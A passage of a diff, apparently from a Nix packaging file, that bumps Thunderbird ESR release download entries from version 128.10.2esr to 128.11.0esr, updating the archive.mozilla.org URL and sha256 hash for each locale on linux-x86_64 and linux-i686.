+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sl/thunderbird-128.11.0esr.tar.bz2";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "8d5c9a36f43f7b01f50dd331191851f84871369aae51ec2aa35cf1b3a6c5db2c";
+      sha256 = "21bdfa1b4f26d3c15bbb19d14e9be1b8810e143d0163276f88961fc7f8c9d2a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/sq/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sq/thunderbird-128.11.0esr.tar.bz2";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "ec2e4438939c531f0cb9a7259587c2b34741e35e1f048f8afc32da21702cf48d";
+      sha256 = "c814479ade79d4f1a67fec8f0029602eea11b3e4bd1b04def7f2fce38e7f9f99";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/sr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sr/thunderbird-128.11.0esr.tar.bz2";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "5b4497554d608437a8b30838a7fb69225c9ee278294ac0001ef81f423a89f749";
+      sha256 = "f763ec52bd9ad5597177be270b4f64262d79a50a624a614ae391d8aca1f16f81";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/sv-SE/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sv-SE/thunderbird-128.11.0esr.tar.bz2";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "52f0c7d3dcc0436f5b7e5ec1d6931c492d1d4ca22c1e0d8283953eedc953d075";
+      sha256 = "113bf376ed90b9d40f3a305b821e1ddb578770b7ad7dc982c5e21aa1cc00f437";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/th/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/th/thunderbird-128.11.0esr.tar.bz2";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "e0e2ab100b2377a4a36f6316bfd10b2b710192e6140473c5a7f632f25a826e75";
+      sha256 = "c188b57aa0a53d4fe904e3978bf1e49d0dd62bcf817ed5a5c65466d202389a18";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/tr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/tr/thunderbird-128.11.0esr.tar.bz2";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "9d004357fd63aee822743c5b512b607a42a58ee602a6cb9b2d49649e21de62c8";
+      sha256 = "3dcd14eff5be9c753cce59874ddc3f0424d7fd55dc7c85f615580f9bd5f1b4b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/uk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/uk/thunderbird-128.11.0esr.tar.bz2";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "17f199833b8a68334fecc3fe9e2bbe0640df1edcaa5b73099b9ac3450639e7ae";
+      sha256 = "230a96141510e9cf113781ebd4749fcd2e4fe5e65054cc6013ebe1e38406f55f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/uz/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/uz/thunderbird-128.11.0esr.tar.bz2";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "b7110c93ec4a371751d59e4f53b70fa0b7ecb8ce37c39338f4290b67bfaf57bd";
+      sha256 = "1729cfe13c1df489a74b6307ac08660e3bffd390ac8b706061ff2b05f866619e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/vi/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/vi/thunderbird-128.11.0esr.tar.bz2";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "a65d2d75efe893ff70fdf8066a2fc9c2e01335bf888018138f8ea3305023b988";
+      sha256 = "89e07861fec281e858faa92bcca44e393d7cfcb240db525451d9c21671447ac4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/zh-CN/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/zh-CN/thunderbird-128.11.0esr.tar.bz2";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "67e5388a5104db522656a8a71ec981aa66738e224cae387ec20ea16907bb156c";
+      sha256 = "91f65b163623a716ba54656173e48e73624f35b80caad06053eee3d3bcb3028c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/zh-TW/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/zh-TW/thunderbird-128.11.0esr.tar.bz2";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "d1c0f54b1ed4c774e448f639de527c3d8aad7ae4fc9a208831f9ed24c096aad6";
+      sha256 = "b7f1e29fdc6f1333c8717ccbf8912646ee6fe8b02215c13eee5310a1bd1751c4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/af/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/af/thunderbird-128.11.0esr.tar.bz2";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "554d279e12a5eb69026515927cec8d52f413ed135abdbdad4ce4c74beabc3ff8";
+      sha256 = "79e8f7d5fd539b76dee8083c14784addee0bda0117b51b219ebb4762e9d0006f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ar/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ar/thunderbird-128.11.0esr.tar.bz2";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "0368bdb472973f90852a3a1d48110a80a011e1a10aca7c79a69abf2f6450aa0b";
+      sha256 = "a98c61432bf0150d41b1e91b0094939b6a39348878b31b7195762e2de2802fe2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ast/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ast/thunderbird-128.11.0esr.tar.bz2";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "84b219380fc971949ff5439c725c2e4c3f9fee45d3c21a89c5e1e792f16230ce";
+      sha256 = "ce19fd8535e87d57673dc5f01bdda71ab2ce4dbfe4b8a5318ab3779f16b912a2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/be/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/be/thunderbird-128.11.0esr.tar.bz2";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "9517508abf59a3808a72a6cff8340fc0f6b513bc3e0a6c25f5a3161545df9831";
+      sha256 = "9972d5163c1167650a7be20962a2f1f24b3e8bc7523f6e0fe4592b3ac67c00b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/bg/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/bg/thunderbird-128.11.0esr.tar.bz2";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "1174c9d5e8e4eb15c3dc706573a26508e9166f569b524bb72a4722d3580622c0";
+      sha256 = "3b30ccc53a5cdc0524dc87b27438bb0293e78160d4c9e73fdd6566ce3f1e0d17";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/br/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/br/thunderbird-128.11.0esr.tar.bz2";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "4fd4aeaf463cfe51edaccebfc5002ad2b0707d95c34a7507079c0a9c05e235ba";
+      sha256 = "4f3748883067431b85f7ec7232f547bc796593f39df19619791e8e1fcb33176f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ca/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ca/thunderbird-128.11.0esr.tar.bz2";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "e5ea1ee6183f22afb5d82037c02f113780b934742b2bf34f45d6c933548166c7";
+      sha256 = "e4c7d90c5d7bcfc094321f31c90aa781df05a09cd9233bcc1d0ab4245728306d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/cak/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cak/thunderbird-128.11.0esr.tar.bz2";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "03bc4a5836a1c53e63928aa353fd139131f563f0cac57fb756a90031635102d0";
+      sha256 = "2dc3d129c1bcd405ea401713f1e2085d240a8d7a639b05b8c8a41130ce9ff794";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/cs/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cs/thunderbird-128.11.0esr.tar.bz2";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "b0045dc51487acae65a19859eaf77da0d46bfb802fa47de8b9928a63cdc0b8b4";
+      sha256 = "668bf801d6276dfecb16bb8725f1bbf30b29b88cec84e4937e6f183434f01004";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/cy/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cy/thunderbird-128.11.0esr.tar.bz2";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "24784b3d632cbd0406d3f49bd59b91bb58090437fd5df3a779a5408271ec4ef3";
+      sha256 = "8c5c187ac03f6c15dd925b8629ece2600502d22195d189a8bb1c82ba53906e23";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/da/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/da/thunderbird-128.11.0esr.tar.bz2";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "344b2f94ef3bf421de9a080e746cbcf0ecee452e087b0367fa154dd1fc739af1";
+      sha256 = "d56faf22d047e0c8e812bc90c8cd386ae2064eb0c393b0b511c20c672665e5be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/de/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/de/thunderbird-128.11.0esr.tar.bz2";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "0417f7ecefaa36f4bd71649b763438337f622574717a5f14ed95f8ce3df89fa2";
+      sha256 = "ba27c673edcfeb3062cfb302e58feeeaff1a6a310211b245d37a57f55cfcdb25";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/dsb/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/dsb/thunderbird-128.11.0esr.tar.bz2";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "04ebe59e2b011e6a730fcd1b69111afadc074ec50ea6e59618ba4a0d0a6f06fc";
+      sha256 = "838caf3134a77780ca9df68478e3bf82823dd4ce30434bc6602990e6570772aa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/el/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/el/thunderbird-128.11.0esr.tar.bz2";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "4dd04548a217bec07da4d895868abc120d88e302c019c685fbc1c36cd0d229f8";
+      sha256 = "7280b1211b1573e15dcbd27e9494c1e2425756ae8f23e1c16d89e9fc759421fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/en-CA/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-CA/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "d56e986ac4c5480816796e23f929eb5184bd901039e663f6e9bf901b489a9086";
+      sha256 = "1cba98d71b0cf1a9eb650a45876f533344038214f98f1de985e295397dd95acd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/en-GB/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-GB/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "d5ba719a84000c14daa25132d64fd321aea901ff9f9e939a94ef6a93bec4481c";
+      sha256 = "b6b95419b44feae7eb47f1c31625c0d7ce7a201642fbbce881f954379efe3e1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/en-US/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-US/thunderbird-128.11.0esr.tar.bz2";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "c6ce95eba101ee2551d79e59b677ad13628c97b7a3e601c99962fb6b385e9474";
+      sha256 = "15296a6f1fa57e7c9b204925c19503eb4848a4ca024677fb3fc00732661e5f9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/es-AR/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-AR/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "2d91e16dfcc286be656201914aa62704161f491048ae892821f00d1ffd36ec0a";
+      sha256 = "01d801f7171a76f8d60de07ffa47b41ffb10f2bc904d72e0b7f2902626a724b4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/es-ES/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-ES/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "a7a839b57ce0879cfb33ee70b54bce0a3f9052b3b6a2a9b2268f01610fee01ab";
+      sha256 = "a8ef2366404d128b2107f0fe63c4246497bee7c45a5180c21e9f1a28744bda25";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/es-MX/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-MX/thunderbird-128.11.0esr.tar.bz2";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "2dab61fe7ef7ac8b8614bf7111cc7a2dea4243ffa0dc37595f462d9b879bb4d6";
+      sha256 = "28b87e0a3c422146b15e17d523aff37cbd56be81d2b5541f6c62f72eb5b34be8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/et/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/et/thunderbird-128.11.0esr.tar.bz2";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "538af624c7d96901899de0faed1091519f7ac5fad4f260ab40feee24689331d6";
+      sha256 = "9ea05e436d4bbe64b3126090341615870cae452757e6a0f8ce0c6da297caa79e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/eu/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/eu/thunderbird-128.11.0esr.tar.bz2";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "25eaa899a5f0e5e1787e856e3f7a7973d968db2bc6948445d058c4c7a43afe04";
+      sha256 = "7b25e5ef8ae9f353358d58226ea20582d196d387469011fd2ab3527b737953f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/fi/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fi/thunderbird-128.11.0esr.tar.bz2";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "393ee4e73b1a6906ab36191a387c657723795857df5ef5af3206f5bcaae8150b";
+      sha256 = "7a135aceb0c1b9b2d0517d48e61ef56bdc2370ceb3e65d5e4ecf948272b148d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/fr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fr/thunderbird-128.11.0esr.tar.bz2";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "ca8a858a80e64f83a06a3900a6aa9dc445854fd6e78b7e8b9cd8ea0e161c547d";
+      sha256 = "2263eb3f54e93e2c6306d0e68f9e27988e7c09cc6dba08414595d01face08740";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/fy-NL/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fy-NL/thunderbird-128.11.0esr.tar.bz2";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "c94884eaa33c589d51d3f50db142b6da46c721e9967f4f38c5e888c465e73d59";
+      sha256 = "dfc031584e1eafd390cf286a34232e296dcd98ea3818f60dd38965d44432f565";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ga-IE/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ga-IE/thunderbird-128.11.0esr.tar.bz2";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "1dff069ff686f802a9a4f994d951562b95672b7e622190f7ea68c72100260004";
+      sha256 = "b80b2e6e57d2b63e495134a1829660ad125a55f1caa561ffd98d132c97a139c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/gd/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/gd/thunderbird-128.11.0esr.tar.bz2";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "3ba96213640608e651a3399b11f549e937a8934942fc7b2ccb5211eaf308bb10";
+      sha256 = "29228207b3aac9bd54df245031459ebc5495b0bb15ba4cdd936dae566d94deca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/gl/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/gl/thunderbird-128.11.0esr.tar.bz2";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "be563f8931f6d4c2d2884954918695e45954a17cc1ed918632ae374f8a72e31c";
+      sha256 = "9ab1995698d206eb046e5b96e6f18c290e99ada6c7b7bc64347fb1cc603ce66f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/he/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/he/thunderbird-128.11.0esr.tar.bz2";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "0907587fbf48098d8893e584ee5b95084be62c2e9a201a2f76cffebdd184cd60";
+      sha256 = "9adf0aed871d04cfe814800f1fcbc8128a9449afbdd21d9d4b47c0c9048df61f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/hr/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hr/thunderbird-128.11.0esr.tar.bz2";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "3fbb591beb65c487e343fb8b95576df8a034ddf60c5e022c98e2bc51ceeeaefe";
+      sha256 = "b62307dbe3fa6d62600dd92f9416a2bbab32b12bffc2668242eeca33093871d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/hsb/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hsb/thunderbird-128.11.0esr.tar.bz2";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "d36e0fc30948362447e15a3ddbe5b7753cbb4f6047aa50a605e31d0869541736";
+      sha256 = "246069502c7e64d2772274a656d7e4a80a6b4e053468a501a9603609d24d3c6b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/hu/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hu/thunderbird-128.11.0esr.tar.bz2";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "de307687acfd84ccfb2c4e07778a56738ca1d07a5d91099f1d6ee0c031c889fa";
+      sha256 = "f9adc3da0aa28b66ebc4f370d05f58904d361b0e3b24078d653967490387ef50";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/hy-AM/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hy-AM/thunderbird-128.11.0esr.tar.bz2";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "fd487b9bfc7e0a0be153cdec4d46a67a9fbfddd21746836d138f1c6170ecadce";
+      sha256 = "f77f12e8d0323602c8994e3bd513190558aadf34c21d29fe1b13f4f9156e707f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/id/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/id/thunderbird-128.11.0esr.tar.bz2";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "28829aec9940b2cf497ccfbf00011cf05da3093b7fbf7733314b29b0c2370964";
+      sha256 = "7b73d10c98ab8dd3b808fae707878ff5726944cb32564b9c03c4dcc83fdb4c2f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/is/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/is/thunderbird-128.11.0esr.tar.bz2";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "df72777dc77c19b79d7f2c0575daea73ddcf797aff95ab89d8e284ca911c93f5";
+      sha256 = "77f500e0e9b2571731b7095d1660260bfbfd4e69c4731e19ebcd2d3e9621064f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/it/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/it/thunderbird-128.11.0esr.tar.bz2";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "f8afa4bdfba62e4827f5ad6542e96b77135191caca4604d719ca3518475ab7f2";
+      sha256 = "209bac038f4fe98fa717c0d4c8edf2ddfc8c10351024db3dd184446be0df9020";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ja/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ja/thunderbird-128.11.0esr.tar.bz2";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "f76939f1ded154bbb0bde163529236ffae3a4d12b9fb2cd606334bc862506e8b";
+      sha256 = "4f1a227819a301dddf4a6a59e1655fe5c45030dcc20ef00581a9a0072cbcd0ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ka/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ka/thunderbird-128.11.0esr.tar.bz2";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "89de590ac0b7d90557c3197d3a56d01553fd9611640ab18115d8c8e1d6a43eaa";
+      sha256 = "7b91286ebdd92926ec66c5784f28c028dcf8466524914fd795ff054f65e87de2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/kab/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/kab/thunderbird-128.11.0esr.tar.bz2";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "dee0d7fd820c95bf174ade270517cdef450fa849c467cce8564c966ece6f339b";
+      sha256 = "5c4900accf4e1c78de6e8b8c010ea4fb6caf8f13746be982acff97fb50f73680";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/kk/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/kk/thunderbird-128.11.0esr.tar.bz2";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "e1478b260477e4d464ced10dabb22d1ed0750e3c6f43be1fb3ae61a1162a67a2";
+      sha256 = "34c00860100e2a6f628440f2c981ecd20bff6d6277acd29b4f7206c8c79c842c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ko/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ko/thunderbird-128.11.0esr.tar.bz2";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "56790b48cc32d739ca730288cdccce25f54424e21c91424eb8324943afae2aa4";
+      sha256 = "8eaeae964a1854551819386b2fb84a4fcc77f3d4ff512a234ab7cfcede93dbd3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/lt/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/lt/thunderbird-128.11.0esr.tar.bz2";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "753c27fe095768054e25e1dce5d85e8242357ea859d79691ee8ac42adb2e147d";
+      sha256 = "be8ae36d61171efb90f94e40c6548d29d79cfa75fbd4c1eebc646a09f8eb62a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/lv/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/lv/thunderbird-128.11.0esr.tar.bz2";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "c8451f012ebf33d1869397f00b200280ad86aa38d49e9d3c9a1125e4fcf755ca";
+      sha256 = "be4617b8892e9402c3f71222d0f4c5dd817a6150fd62ecd06e3ca39a5567d317";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/ms/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ms/thunderbird-128.11.0esr.tar.bz2";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "9bc0113511a56339cf8e9e8fc1c35a685b0a5afa01c62a7db4449678a3b8dac7";
+      sha256 = "9d91e6caf44a4fb59bc2f4eb98120f8edf99410b26dfbd19e95b5147d8dfe40a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-i686/nb-NO/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nb-NO/thunderbird-128.11.0esr.tar.bz2";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "9f02a3feb0db4d1e79b3c347f022b97bde01f4005b02997170eaa2b429b5be4a";
+      sha256 = "a2410593b21fbd893529e69dc9014d2a0656eb2b386abac88f8fb7719e40fb73";
     }
     {
